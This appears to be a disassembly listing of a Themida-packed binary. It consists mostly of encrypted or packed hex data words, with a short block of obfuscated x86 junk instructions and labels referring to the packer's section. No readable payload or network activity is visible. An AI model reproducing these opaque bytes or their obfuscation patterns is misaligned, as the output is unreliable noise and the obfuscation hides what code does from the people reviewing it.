dd 4A505480h, 13BF03F7h, 0E5E1A72Eh, 4D495784h, 8D4E4F36h
dd 33A69B07h, 0DA00616Dh, 8079C8D6h, 51D09C3Ah, 0F0734708h
dd 57979EF9h, 0D823696Eh, 94826499h, 589718Ch, 79E475E6h
dd 0D5F12E83h, 0ACEF6394h, 95C6672Dh, 97FC18D7h, 8ECF5E64h
dd 0C2187780h, 52598177h, 125DA8E5h, 2C4C7BE5h, 8DBEFAD3h
dd 8E1D9B5Ah, 8AF5104Dh, 0CDADAE0Bh, 0DA7FFC18h, 0FC18CD99h
dd 1857F348h, 0EDB5AE7Fh, 724BE56Ch, 64907CFh, 3BB0CBD1h
dd 18B73122h, 1D5EFBFCh, 34FC18B7h, 6C6ED37Fh, 6FBEEB20h
dd 25916527h, 99E8F6B4h, 0CEB35F63h, 0FA65800Ch, 0CF8EB1FFh
dd 133A8307h, 4DB98DB7h, 0A287038Fh, 4B147735h, 0FC18B737h
dd 47CABA2Ch, 3A04218Ah, 5E21h, 696E0500h, 0C07FD823h
dd 0E7FC18B9h, 70E99561h, 5B95CDAh, 45E1FA30h, 3A041488h
dd 127h, 666E1B00h, 9CEFAD28h, 0FC7FE25Fh, 18B91A5Bh, 0D7CCBFCh
dd 3EBFCECCh, 975F86ADh, 8E498813h, 8672FD08h, 7860E33Ah
dd 4107D134h, 0CDD10975h, 42C03DBEh, 16DE2C18h, 0C4357492h
dd 6E12D8C6h, 0B720276Dh, 57881C7Bh, 88933401h, 0F2098D49h
dd 600EE640h, 63F4BA21h, 1D20394Bh, 36398256h, 785F23C5h
dd 5ACDCD14h, 0BB3B7AEDh, 8938EEFFh, 72890FC6h, 7861E0F9h
dd 7068EB32h, 0F6B7D92Ch, 0DD61D277h, 0FBB0FC18h, 58C78E2h
dd 3A0475D8h, 0C5C33275h, 6FBFE4h, 6E830000h, 9DC4276Dh
dd 48CA515Dh, 13C8360Eh, 61E0018Dh, 18B997D8h, 0E8F14EFCh
dd 0DF2E7469h, 0A5E11554h, 8DB41546h, 97394C4Ah, 0FF226551h
dd 4C3A0411h, 71h, 276D6E76h, 7DDA5DC4h, 0FC18B9FCh, 2339415h
dd 0D3FC18B9h, 0C2E2F64h, 0B80F7709h, 0A25807A0h, 6CD9E714h
dd 9E22D619h, 8B11C40Fh, 7C483270h, 0CABAAC04h, 95317F7Ch
dd 22666EAFh, 0D7CF58DBh, 0C72F64C0h, 0AE5C73E4h, 0CCBDFB33h
dd 0CA9C92FBh, 4385FC18h, 86E13C73h, 0D4C3A04h, 5E9ACDC9h
dd 0A048952h, 85000000h, 0D5367E14h, 4566FB11h, 2C6A6E61h
dd 54B7ECA8h, 0BBAEECEDh, 2CBD03F8h, 901CDE01h, 810FCA75h
dd 0E2D29C7Ah, 32024C9Eh, 0E54214C4h, 0FC18B974h, 7D99D6ADh
dd 4EF1D57Ah, 6AEB4CCFh, 0BBFC18B9h, 5E5C9DCCh, 0D43D8ECFh
dd 1FACD52h, 2C97F64Dh, 80E1EDABh, 0B92E5157h, 0DB52D9D1h
dd 797DACF0h, 5C6DEE3Dh, 0FBD96831h, 0D88EF9FAh, 53599EECh
dd 867332B7h, 961CC100h, 7AE5C677h, 65EC3F7Dh, 5FD73674h
dd 1CDD291Dh, 0D70A709Eh, 743FE655h, 11Eh, 7B49B2F5h, 97D86120h
dd 4EF9FAF7h, 472384F1h, 0A3E7EFAEh, 83C211Ah, 0DF42B019h
dd 198E01FAh, 0EB4281A1h, 0ABFB9C2Ch, 599F0B6h, 0F6018526h
dd 27AF2E0Eh, 0BAD31863h, 46B3E33Ch, 7D3BBC27h, 0A1E71051h
dd 0D8DE1B5Ah, 0DED8024Dh, 0C7269319h, 0ED80589Ch, 0B1B84EC9h
dd 319BE25Fh, 0B5F93F37h, 2F74333h, 0BD101E84h, 123FE643h
dd 34h, 55791854h, 0B91475D2h, 0F64DFC18h, 0B989CA97h
dd 79E1FC18h, 3ABEE18Dh, 0F59C5576h, 0B9BDBE1Bh, 1F54FC18h
dd 891ABFA2h, 38FC18B9h, 7B024743h, 38000000h, 768B7B18h
dd 0ACA9CD19h, 0C96E114Eh, 1FA55A9h, 79F80378h, 6D9C3A80h
dd 3F2A68FCh, 6344157Bh, 8ABDFBFCh, 7B8210CBh, 464C8FF2h
dd 0E15B627h, 0FA740B21h, 261E48F9h, 67931FD8h, 0F7E0EE5Bh
dd 80C3466Ah, 0EBEE5157h, 1A9D04A5h, 7912A05Bh, 2EDA8249h
dd 73DCED91h, 7E31336h, 4AF5106Fh, 12FC0F8Dh, 0FB985C28h
dd 0B2F750D7h, 0EB09CAD9h, 699CCA40h, 82FF3D60h, 39AE5E04h
dd 0B60AED19h, 0BB7455F2h, 2A8FB296h, 2017CDDh, 23696C2Fh
dd 0DC4A93D8h, 1CDD0467h, 0C831709Eh, 528F0DC8h, 0F5D86ECBh
dd 0EFE86B21h, 0EA1352A9h, 0F17741A4h, 0A8FB305h, 0B902904Bh
dd 8079C5B1h, 2CAD9C3Ah, 0CB7448B2h, 40BDBADAh, 53599EC1h
dd 7560E38Ah, 400AD437h
dd 0CBD10674h, 0E37D7ACFh, 0F3575F20h, 168B8C85h, 33012D78h
dd 77F669A6h, 814961D2h, 52FBB084h, 73F9B656h, 0B4DFE8FDh
dd 0D00B4ACDh, 8DF879C2h, 52298481h, 32689h, 0A75C0000h
dd 2C686E9Dh, 5B6196D9h, 575B81C0h, 404E8D34h, 7341BA25h
dd 6E34A928h, 9B21D41Fh, 9519C100h, 8307CF76h, 8952F278h
dd 4C281E2h, 83000000h, 148704EAh, 24248B24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push 3FEh
mov [esp], esi
mov esi, 5E8CA41h
mov edx, esi
pop esi
push esp
mov ebp, [esp]
add esp, 4
push eax
mov eax, edx
push edx
mov edx, 8
add edx, ebp
mov [edx], eax
pop edx
pop eax
mov ebp, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_4F5CCB
; ---------------------------------------------------------------------------
db 23h, 21h, 0EFh
dd 0CCE1E511h, 0A4F09D6Ah, 0DFB855EBh, 305E8CEh, 48E0FFC5h
dd 9B1AE0DAh, 2E03268Ah, 0D1050504h, 6961CAD2h, 0B13C5165h
dd 0DD389665h, 3E4D0B71h, 25760C8Eh, 8E3C2616h, 0DE631806h
dd 12441DFDh, 3932A701h, 625ED516h, 0FB424326h, 7D2775E4h
dd 2B037E37h, 717665BBh, 676A0ABh, 0F1EC4EAh, 0E86C1884h
dd 9, 5389E48Dh, 5031A3Dh, 0E08166A5h, 0E95E9BDCh, 0Bh
dd 31263751h, 7DDBE553h, 8174E24Bh, 72ACC6h, 9E900h, 0F2D90000h
dd 493370C4h, 0BA0090AFh, 0
dd 262202BFh, 3234FF5Fh, 5BBEDD80h, 0FE9h, 0CFBAFF00h
dd 0F14EA70Ch, 4FCCB41Dh, 0D084CBD0h, 9A4AF381h, 8A0F3866h
dd 6, 8A0Fh, 0EB810000h, 31EC66B1h, 81F7C580h, 9BD478F3h
dd 81665333h, 8FD05AC0h, 880F1604h, 4, 2690BF66h, 2897EA81h
dd 0C2814CEDh, 4CED2893h, 48F08166h, 8FA8111h, 0FFFFF8Eh
dd 0FFFF9485h, 880F60FFh, 3, 57C7F680h, 615B6160h, 0BD83C08Bh
dd 5E21EA9h, 83097500h, 0E21805BDh, 19740005h, 0C08B5350h
dd 421B8h, 5D858900h, 8D05E231h, 0E4B2FA9Dh, 5BD3FF05h
dd 5BD8358h, 5E218h, 53501774h, 421B8h, 5D858900h, 8D05E231h
dd 0E4AFE99Dh, 5BD3FF05h, 8BC08B58h, 0E22A959Dh, 4985C605h
dd 5605E20Ah, 0A8B85268h, 0A1B5FF9Ch, 8D05E216h, 0E57A6185h
dd 6AD0FF05h, 10006804h, 0B5FF0000h, 5E21D9Dh, 0D0FF006Ah
dd 850FC085h, 0Dh, 0B8h, 198D8D00h, 0FF05E272h, 8BC88BE1h
dd 3C4003C3h, 0F805h, 0C508B00h, 0BD83D303h, 5E20695h
dd 0E840F00h, 8B000000h, 0E206959Dh, 0CD858B05h, 8905E214h
dd 8D525103h, 0E27B7D85h, 8BD0FF05h, 8BF18BFAh, 0F3C88BD1h
dd 4985C6A4h, 5605E20Ah, 1F6D3968h, 0A1B5FFD4h, 8D05E216h
dd 0E57A6185h, 68D0FF05h, 8000h, 0FF52006Ah, 83C08BD0h
dd 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h, 8B535019h
dd 421B8C0h, 85890000h, 5E21DD5h, 0B3619D8Dh, 0D3FF05E4h
dd 0BD83585Bh, 5E21805h, 50177400h, 421B853h, 85890000h
dd 5E21DD5h, 0B0029D8Dh, 0D3FF05E4h, 0C08B585Bh, 6959D8Dh
dd 38B05E2h, 840FC00Bh, 7, 5B8B038Bh, 0B8188904h, 4B41h
dd 3BE9h, 0BD8B6000h, 5E21EDDh, 3304EF83h, 0BBC18BC9h
dd 0EDB88320h, 0BE04C783h, 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh
dd 41FFFFFFh, 0F9810789h, 100h, 0FFD3820Fh, 0C361FFFFh
dd 9D8DC88Bh, 5E20501h, 1300B8h, 11858900h, 0E805E21Fh
dd 0
dd 0D0558h, 3890000h, 1300E9h
db 0
byte_55AF05 db 3 dup(0) ; DATA XREF: Themida_:004EE1B8o
dd 360h dup(0)
db 3 dup(0)
byte_55BC8B db 0 ; DATA XREF: Themida_:004EF2A8o
; Themida_:004F095Co
dd 15Eh dup(0)
dd 75CAFE00h, 0CAA80461h, 0B08A40E9h, 0ABA80461h, 875EAD5h
dd 0F0A80466h, 0BA8A40EEh, 0AD57AE5Dh, 788A40EEh, 0ABA80467h
dd 0C375EAD5h, 93A80467h, 4D8A40EFh, 1DA80464h, 0C78A40ECh
dd 0ABA80464h, 2575EAD5h, 0B2D1D42Fh, 0C00310C2h, 5140B4F2h
dd 0A36D90A7h, 0D121544Ah, 4062F07Eh, 0B396D42Fh, 0C00310C2h
dd 5140B4FAh, 0A21C90A7h, 0D121544Ah, 4062F04Ah, 0B345D42Fh
dd 0C00310C2h, 5140B4C6h, 0ADC890A7h, 0D121544Ah, 4062F046h
dd 0BC2ED42Fh, 0C00310C2h, 5140B4D2h, 0AD4590A7h, 0D121544Ah
dd 4062F052h, 0BDB8D42Fh, 0C00310C2h, 5140B4DEh, 0ACDB90A7h
dd 0D121544Ah, 4062F0AAh, 0BD3AD42Fh, 0C00310C2h, 5140B426h
dd 0AC4190A7h, 0D121544Ah, 4062F0A2h, 5012B8C3h, 0CEDF152Ah
dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0AD6C26C0h, 0A8ED96A7h
dd 458A152Ah, 67A02429h, 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah
dd 0BA415564h, 0CE75EAD5h, 0F13AAE63h, 848FF73Ah, 11AB5342h
dd 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h
dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h
dd 4162AD6Ch, 660351A2h, 0EE27BFEAh, 0BA8DDB2Fh, 947510C2h
dd 0D9020112h, 0AD6430A0h, 0EC79AEA7h, 41AE51A1h, 7122DC09h
dd 0BA8FFDC4h, 0DF103773h, 0C821732Ah, 0BC467428h, 0FD5BEA2Fh
dd 508C152Bh, 60009881h, 0ABADB94Ch, 0EFD2A5FBh, 0DDA42C89h
dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah
dd 0D5F251A2h, 0AD6CE6C0h, 5CDDDAA7h, 828668A1h, 54A8ADE7h
dd 0BACC152Ah, 0B6B5D830h, 0CE529E2Fh, 9783FC69h, 0EFE2A5B9h
dd 0D9F9FA31h, 0AD6430A0h, 0D79AEA7h, 2320949Ah, 328C551Ah
dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
dd 34549521h, 458A15C2h, 0BE290BA2h, 4062F260h, 0DFA02429h
dd 4D1957h, 54A8515Eh, 0D775532Ah, 514A4C2Bh, 0CE19CDA1h
dd 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h, 0AD6430A0h, 0D79AEA7h
dd 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh, 174D6h
dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh
dd 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h, 454A38F2h
dd 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h
dd 45869025h, 0A32851A2h, 8E4B7332h, 972337AAh, 38A1BE4Ch
dd 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h
dd 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h
dd 8C22FD62h, 458AD507h, 0AB54D1A2h, 45939125h, 5D1151A2h
dd 0B28A152Ah, 5B7AD453h, 458A1FAFh, 5610E0A2h, 0EF4B93E2h
dd 7F039191h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h
dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 9D00B92Ah
dd 0D4A7B222h, 860085E1h, 7122DC08h, 0BA8FFDC4h, 0FEF8E173h
dd 0ABAF9FA7h, 8557544Ah, 6E20D6A0h, 29215DDFh, 174D6h
dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh
dd 458A15D6h, 54AFE9A2h, 0D775152Ah, 514A4107h, 0C8204526h
dd 0BC467428h, 0F55BEA2Fh, 949BFB2Bh, 2E853186h, 50AC5962h
dd 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h
dd 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh, 0FE0451A2h
dd 580387D5h, 8C235440h, 0EF491786h, 0BA8DDB2Fh, 947510C2h
dd 0BD28E9C4h, 8600BE4Ch, 58D57A08h, 247668A3h, 9D541429h
dd 108A1DE8h
db 29h
byte_55C5C9 db 0BDh, 2Bh, 90h ; DATA XREF: Themida_:004EDE30o
db 0D6h, 75h
word_55C5CE dw 3001h ; DATA XREF: Themida_:004EEB18o
dd 58D5DAAAh, 457650EDh, 0F8A851A2h, 0CC18EA80h, 0DFADB3BFh
dd 8558B9E2h, 7132DC08h, 0BA8FFDC4h, 94103771h, 0CF2173E3h
dd 2983FB63h, 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h
dd 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h, 0D775BF86h
dd 514A4C2Bh, 7726DDA1h, 0CE25FB63h, 4062FB0Fh, 0ECCE825Dh
dd 0EEECE4AAh, 7F029028h, 38031957h, 1123305Eh, 4D48DCD6h
dd 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh
dd 7732732Ah, 0D903376Bh, 0AD6430B0h, 327BAEA7h, 234B9592h
dd 0FE04FD09h, 0CC866801h, 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh
dd 0B94E96C6h, 5CDDDAC2h, 828668A1h, 54A8ADE7h, 0FDEC152Ah
dd 0FFCEB824h, 0ABAF8FA7h, 8757544Ah, 320A09Ah, 0CE25FB0Eh
dd 4062FB0Fh, 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h
dd 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h
dd 0AD600EC0h, 0A8ED96A7h, 458A152Ah, 0DFA02429h, 79261957h
dd 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh
dd 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah
dd 6B2A5EFAh, 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h
dd 4062F07Ah, 7332DCF1h, 0BA8FFDCCh, 0A8EDD871h, 458A42C3h
dd 58DDAEA2h, 0C88260D5h, 0BC4D3138h, 0DF07462Fh, 5140B785h
dd 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh, 0A0E68FA7h
dd 0D9FB544Ah, 0AD6C32B0h, 0DD7BAEA7h, 5863E96Fh, 0ABA851A2h
dd 3075195Fh, 2C32DCAAh, 168FFDCFh
db 2Fh
byte_55C781 db 0CBh, 8Fh, 0B2h ; DATA XREF: Themida_:004F89AAo
dd 967510C2h, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h
dd 3044BAh, 28D8D00h, 6A05E8ECh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 0F57DC351h, 0B70FD1BBh
dd 12E850D0h, 36000000h, 25C1EB80h, 2B235447h, 6170E2AFh
dd 0CA9C5C27h, 0D88B6628h, 8D895B5Eh, 5E20BE9h, 0DBBF0FF5h
dd 76185C7h, 694805E2h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 0FF7CAC3h, 66FD7E3Dh
dd 739CA81h, 1B5585C7h, 5E2h, 11E80000h, 0A9000000h, 0E25C0D3Fh
dd 0ADF7E0Fh, 0FCADC123h, 53A458C0h, 0BE9h, 18022600h
dd 0A3EDD65Fh, 7EB47740h, 0E1DEB858h, 0B5FF6671h, 5E21D05h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 6FC35646h
dd 0E1958BAAh, 0FF05E21Eh, 0E20B1595h, 50006A05h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 99B6F7DBh, 6890Fh, 85330000h, 5E20B55h, 32D58D29h, 6A05E2h
dd 0AB995FFh, 0C08B05E2h, 81786CEBh, 67DFD10Ch, 11A55943h
dd 858510C3h, 474D31F8h, 852790CCh, 0B42BAAC2h, 4A0F0E02h
dd 0A3D43EBh, 50FB9799h, 8569ED94h, 1580C094h, 37D2D67Ah
dd 0EAEA7A71h, 0BBEAB57Ah, 5CE7FB9Ch, 22E1A35Ch, 44EC076Ch
dd 0FBE60A88h, 0A155EE31h, 4E69447Bh, 88E767C3h, 2C563DF7h
dd 9C162273h, 854E5384h, 3693A573h, 18559FBEh, 0ED55CF08h
dd 7A5E75FDh, 69A476F6h, 49BC56E6h, 2F062DFDh, 2F2983FDh
dd 2F3EC0FDh, 2FB226FDh, 2F7710FDh, 2F950EFDh, 2FE4D7FDh
dd 2F5CB4FDh, 2F00A3FDh, 2F29EEFDh, 2F3EA7FDh, 2FB418FDh
dd 2F7065FDh, 2F925AFDh, 2FE327FDh, 2F5AE3FDh, 2F0637FDh
dd 8A259DFDh, 0A2229535h, 714A76D6h, 4BBD5CDEh, 7A5A5CF4h
dd 722775FDh, 799775F5h, 78CB74FDh, 7DED73FDh, 7BF374F5h
dd 7B7874FCh, 7ABC75FCh, 7A5E75FDh, 328676FDh, 324E75A8h
dd 7ACB75A8h, 7BE475FDh, 7BF374FCh, 0B29074FCh, 1ABC75F8h
dd 8AD5F070h, 0FFA67015h, 7F7F993Fh, 8A6AF070h, 0FF6C7015h
dd 7F1A997Fh, 8AA6F070h, 0FF357015h, 7FB69943h, 8A10F070h
dd 0FF1E7015h, 7F23997Bh, 951BF070h, 0FF7B7015h, 7F919977h
dd 9420F070h, 0FFD77015h, 7FC79973h, 9439F070h, 0FF427015h
dd 7F0D996Fh, 9436F070h, 0FFF07015h, 7F54996Bh, 9541F070h
dd 0FFA67015h, 7F7F995Fh, 9420F070h, 0FF6C7015h, 7F1A9967h
dd 9573F070h, 0FF357015h, 7FB69963h, 9530F070h, 0FF1E7015h
dd 7F23995Fh, 95BCF070h, 0FF7B7015h, 7F91994Fh, 95C4F070h
dd 0FFD77015h, 7FC7994Bh, 950CF070h, 0FF427015h, 7F0D9947h
dd 9516F070h, 0FFF07015h, 7F54995Bh, 8A45F070h, 0FFA67015h
dd 7F7F9957h, 8A7DF070h, 0FF6C7015h, 7F1A9953h, 67F0F076h
dd 0FF35701Fh, 7FB69906h, 6A8AF076h, 0FF1E701Fh, 7F239902h
dd 0F1B0B69Ch, 7AF29D11h, 0FB2375FDh, 92527A17h, 3FD525F8h
dd 80ADFDF5h, 22929D11h, 7ACFB734h, 29B723ACh, 7A1A20ADh
dd 277975FDh, 948C987Ch, 0FFA07015h, 7FC7997Ch
db 7Dh, 0C8h
word_55CAF6 dw 9616h ; DATA XREF: Themida_:004EF0D4o
dd 9CF7015h, 75E4C5B4h, 0BAF9B54Bh, 0EF863589h, 7F549902h
dd 2B96FEBDh, 7A2F7A45h, 85028AFDh, 0F7CE9D11h, 9209F748h
dd 0FCC6F8F8h, 7E4B9D50h, 6FCF75FDh, 7A5E7645h, 85BA8AFDh
dd 0F7929D11h, 9227F748h, 0FCD1F8F8h, 23228A50h, 0F787BC1Fh
dd 7F54997Ch, 20052DA0h, 92EC2CA3h, 7A97776Dh, 79C1CD4Dh
dd 81708A57h, 0D1F79D11h, 78079D3Eh, 0C2DA75FDh, 5954CD9Bh
dd 0EFD0DE9Bh, 7F7F9906h, 9208DE9Bh, 7AE57795h, 72F3360Bh
dd 0EF866E88h, 7F549906h, 7954C54Dh, 81BA8AADh, 20929D11h
dd 7E2BF69Bh, 1C277E9Bh, 6B1AB656h, 297975FFh, 7ABE4E15h
dd 0A0652FFDh, 59A57B89h, 7094913Dh, 0BA07F5DFh, 0D183FE4Dh
dd 7B009D3Eh, 922A75FDh, 7ABC77E1h, 0E844EA7h, 0D049C512h
dd 0A77FA916h, 8CCB75FCh, 0FED74BEh, 7B1A26D3h, 207975FFh
dd 72BD360Bh, 0A0655488h, 59A56889h, 7094913Dh, 0BA07F5DFh
dd 85B5FF4Dh, 921E8E68h, 5F1F2FF8h, 71DA51FDh, 0B9F5133Fh
dd 9285E94Dh, 7A9774BDh, 9261F44Dh, 7AE57435h, 7AF22D15h
dd 5791DEFDh, 0CABC75FCh, 0CA9DDF60h, 5BC7DF61h, 1C9775FCh
dd 1C4A1345h, 7B439D56h, 4C1A75FDh, 1C7975FDh, 7BB69D56h
dd 0E7EE75FDh, 0E69FB657h, 7A699D57h, 0F32375FDh, 8CE575FCh
dd 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h, 9EDEDFFDh, 84487DF9h
dd 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh, 0EF0D75FDh, 7F919902h
dd 967AC070h, 8A5D7015h, 0D02C7F51h, 966CE002h, 92087015h
dd 7AE574E5h, 79F8254Dh, 844B9D57h, 43548A02h, 0CA5E75FCh
dd 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh, 851A8BE1h, 4BFDCD9Bh
dd 6B91DE9Bh, 0CA438A03h, 22EEDFA7h, 929FB657h, 923C2257h
dd 7ACB750Ch, 5122FEA7h, 7E1AF63Fh, 8B917774h, 92438A00h
dd 7A5E7505h, 79252D4Dh, 0FF69B657h, 7F239985h, 969DC87Dh
dd 0FF37015h, 90FCF8ECh, 2AB99D11h, 7A5C6115h, 781B9DFDh
dd 1A2775FDh, 87759D57h, 0C30D8A02h, 0CA0D8A00h, 0F787DF9Ch
dd 7F549985h, 9626C87Dh, 0F2F7015h, 9012F8F1h, 2ACE9D11h
dd 7AE4DE15h, 7E4AB6FDh, 857975FDh, 92508A68h, 3DC3F8F8h
dd 0F02A9D0Ch, 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h, 0F1A875FDh
dd 0F9BB5E3Ah, 78357115h, 81CB8A3Eh, 0CE2A9D11h, 0E96514Ah
dd 0CA74C1FFh, 924E13F2h, 7AF275C9h, 7A279DAEh, 0F0E675FDh
dd 79BEB5FEh, 7825B5F1h, 0EF68B657h, 7F239906h, 0FAEA917Dh
dd 7542F539h, 0D12EDE9Bh, 85415A15h, 0BDD52F02h, 92ACB7D6h
dd 0B995FCF9h, 7ACB7345h, 85708AFDh, 0F7F79D11h, 9295AB60h
dd 39A0F8F8h, 7A4ECD3Eh, 0EFD075FDh, 7F7F9902h, 0F1CEB57Eh
dd 0EF1A8935h, 7F1A9906h, 0B98E9757h, 8543BE15h, 7B1DFF02h
dd 8E5A72D9h, 6C7F7677h, 8CB75FCh, 831DB616h, 0F1A78908h
dd 86BDF611h, 7ABC9D9Dh, 0FB0475FDh, 92DE2217h, 86EAFCF8h
dd 9631CF7Dh, 75E57015h, 7AF2EC79h, 7A73CDFDh, 0E84375FDh
dd 7FB69902h, 79ADFCBDh, 0F1929D10h, 5179F835h, 85E09D0Fh
dd 921E8E6Fh, 3C7FFDF8h, 6D04801Fh, 795E75FDh, 92C2767Fh
dd 0E01A35F8h, 7F2387E2h, 0F3E1B67Eh, 644B22FEh, 797975FDh
dd 92517677h, 77ECF8F8h, 892A9D0Fh, 722F2B59h, 85CB75FDh
dd 92098A6Fh, 7E0AF6F8h, 7C718589h, 7ABC7244h, 4B5A7DFDh
dd 0BBF7C3F2h, 742E761Eh, 72CB75FDh, 765C44E1h, 72F275FDh
dd 61C044F9h, 72BC75FDh, 66E744F9h, 722F75FDh, 5B7F44F9h
dd 0F3348A01h, 0F1848980h, 0B93B8980h, 7A7F9DADh, 229C75FDh
dd 8E7A1102h, 5E6BFCA5h, 3E16E905h, 2CB389D9h, 3A7867C9h
dd 7AF2B6ADh, 7A7975FDh, 7ABC75FDh, 1AB2FEA8h, 7A2F7515h
dd 90162FFDh, 7F2387C3h, 97E2CF70h, 0F797015h, 7A71CCF5h
dd 0DE4F75FDh, 7E9CBC9Ch, 0E7A226FDh, 7F7F98FAh, 7BD3497Dh
dd 83BE7188h, 82A97716h, 96F2203Eh, 7ABC9D9Dh, 0FB0475FDh
dd 92DD0217h, 7D25F8F8h, 0F1CE9D10h, 725C7D80h, 89F275FDh
dd 0B8B01459h, 0F7DC75F9h, 92B37240h, 0C3EF46F8h, 7A9775F5h
dd 0B9AADF0Eh, 7D58F89Dh, 0FBF79D10h, 7B7874C2h, 0FBB000FCh
dd 7B5F7182h, 795A74FCh, 82969E04h, 0F7ABB69Ch, 92087240h
dd 7AF3CDF8h, 72C075FDh, 89BC75FDh, 0F19D1457h, 0F7EFFE3Dh
dd 927A6178h, 8BD08AF8h, 8E8CAh, 8AB40000h, 0FDE05BB9h
dd 60589284h, 0C08161F5h, 5943h, 4C09EAB9h, 66DB332Fh
dd 7416C981h, 8B0334FFh, 0BF0F5ACFh, 13C281FFh, 807E2829h
dd 0F28190C9h, 1DBDDC4Eh, 814EF180h, 0E02645C2h, 5E90Bh
dd 0B9380000h, 5290AA19h, 0C0A7B966h, 0F18048Fh, 0B8Ah
dd 6E900h, 0E2410000h, 93166342h, 0AE95756h, 0CA000000h
dd 49DC9887h, 0DF72AB62h, 835F5F5Eh, 810F04EBh, 6, 1663E681h
dd 0FB816E33h, 0FFFFA74Ch, 0FF8E850Fh, 0BF0FFFFFh, 16EBF6h
dd 4 dup(0)
dd 1000000h, 3E401h, 8B05E800h, 0E20B118Dh, 0BA665005h
dd 48954D8h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1B04h, 0C3554500h, 0E578FB3Fh, 0EBF3652h, 6A12B5h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C2C35343h, 0F5F1C40h
dd 282h, 6A3FB100h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 9D896FA0h, 5E21871h, 0F499858Dh
dd 0BD8B05E8h, 5E20C9Dh, 0C8C0F50h, 50000000h, 50310F52h
dd 5A310F52h, 89585A58h, 0AE82404h, 0E7000000h, 0DD975B86h
dd 0DC119474h, 6A5BF0h, 818CB966h, 8DB5006Ah, 1E2D95FFh
dd 665105E2h, 54B2E181h, 649E95Ah, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0A1EEC5C3h
dd 0BA49A49Eh, 6850Fh, 958B0000h, 5E20561h
dword_55D150 dd 0E8h, 0ED815D00h, 5E8F49Eh, 0E855006Ah, 3, 5DC35D20h
; DATA XREF: Themida_:004EFDBCo
dd 4246C89h, 4244481h, 15h, 96C35545h, 3CBA668Fh, 55006A90h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 1424FC71h, 5BD7BF66h, 0FFB15568h, 50606093h
dword_55D1A8 dd 5A310F52h, 8D0F58h, 61000000h, 0BA616060h, 62C6D14Dh
; DATA XREF: Themida_:004EEE34o
dd 4816161h, 5E4B24h, 51006A6Ch, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 4FF843B8h, 667C1A2Ch
dd 9D89D18Bh, 5E22105h, 0AB995FFh, 0BD8B05E2h, 5E22B61h
dd 64D18166h, 80B58D9Ch, 0E905E8F3h, 5, 2F61E8F4h, 5206C70Bh
dd 336D6765h, 0E21BA9BDh, 446C705h, 6C636E6Fh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 10C35242h, 68DAE5Eh
dd 0BD8B5B13h, 5E22651h, 610846C7h, 6A007373h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 1E48C353h, 0D38166FFh, 6AA7C8h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 6CC35242h, 860F856Fh, 4, 5AFE8B50h
